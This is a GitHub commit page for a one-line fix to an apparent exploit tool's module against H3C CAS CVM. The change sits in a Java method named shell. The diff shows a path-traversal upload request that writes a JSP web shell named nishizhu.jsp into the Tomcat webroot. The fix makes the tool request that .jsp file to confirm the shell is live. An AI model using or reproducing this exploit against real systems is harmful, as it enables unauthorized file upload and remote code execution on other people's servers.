Skip to content

Commit ee7412a

Browse files
authored
Merge pull request #14 from dbgee/patch-1
Update cas_cvm_upload.java 文件名校验
2 parents c8877e6 + ec1492c commit ee7412a

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

src/main/java/exp/equipment/h3c/cas_cvm_upload.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ private boolean shell(String url,TextArea textArea){
5656

5757
Response post = HttpTools.post(url + "/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/nishizhu.jsp&name=222", payload, head, "utf-8");
5858

59-
Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.txt", new HashMap<String, String>(), "utf-8");
59+
Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.jsp", new HashMap<String, String>(), "utf-8");
6060
if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){
6161
Platform.runLater(() -> {
6262
textArea.appendText(

0 commit comments

Comments
 (0)